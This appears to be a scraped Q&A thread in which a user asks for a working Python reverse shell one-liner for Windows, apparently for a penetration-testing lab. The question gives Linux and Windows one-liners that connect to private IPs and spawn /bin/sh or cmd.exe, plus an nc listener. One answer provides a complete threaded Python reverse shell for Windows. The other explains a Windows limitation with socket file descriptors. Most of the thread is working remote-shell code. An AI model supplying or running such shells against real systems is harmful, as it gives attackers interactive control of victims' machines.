Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Python windows reverse shell one liner

Can anyone help me on a Python reverse shell one-liner for Windows (has to be windows one-liner).

I am trying to modify the one for Linux which I have used many times but this is my first time for Windows.

Linux one liner :

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Taken from Reverse Shell Cheat Sheet.

So here is what I have been able to do so far:

C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\\WINDOWS\\system32\\cmd.exe','-i']);"

Well, the thing is I do get a connection back just that the shell dies. Anyone knows how to fix this or offer some suggestions?

nc -lvnp 443
listening on [any] 443 ...
connect to [10.11.0.232] from (UNKNOWN) [10.11.1.31] 1036

So the parameter to subprocess call must be wrong. I can't seem to get it right.

The path to cmd.exe is correct. I can't see any corresponding parameter like -i in the cmd man page.

Can anyone point me in the correct direction, please?

EDIT: Tried without arguments to subprocess call but still the same result. The connection dies immediately.

C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\WINDOWS\system32\cmd.exe']);"
like image 470
rockstar Avatar asked Jun 23 '16 12:06

rockstar


2 Answers

(@rockstar: I think you and I are studying the same thing!)

Not a one liner, but learning from David Cullen's answer, I put together this reverse shell for Windows.

import os,socket,subprocess,threading;
def s2p(s, p):
    while True:
        data = s.recv(1024)
        if len(data) > 0:
            p.stdin.write(data)
            p.stdin.flush()

def p2s(s, p):
    while True:
        s.send(p.stdout.read(1))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.11.0.37",4444))

p=subprocess.Popen(["\\windows\\system32\\cmd.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()

try:
    p.wait()
except KeyboardInterrupt:
    s.close()

If anybody can condense this down to a single line, please feel free to edit my post or adapt this into your own answer...

like image 168
Mark E. Haase Avatar answered Oct 24 '22 11:10

Mark E. Haase


From the documentation for socket.fileno():

Under Windows the small integer returned by this method cannot be used where a file descriptor can be used (such as os.fdopen()). Unix does not have this limitation.

I do not think you can use os.dup2() on the return value of socket.fileno() on Windows unless you are using Cygwin.

I do not think you can do this as a one-liner on Windows because you need a while loop with multiple statements.

like image 26
David Cullen Avatar answered Oct 24 '22 09:10

David Cullen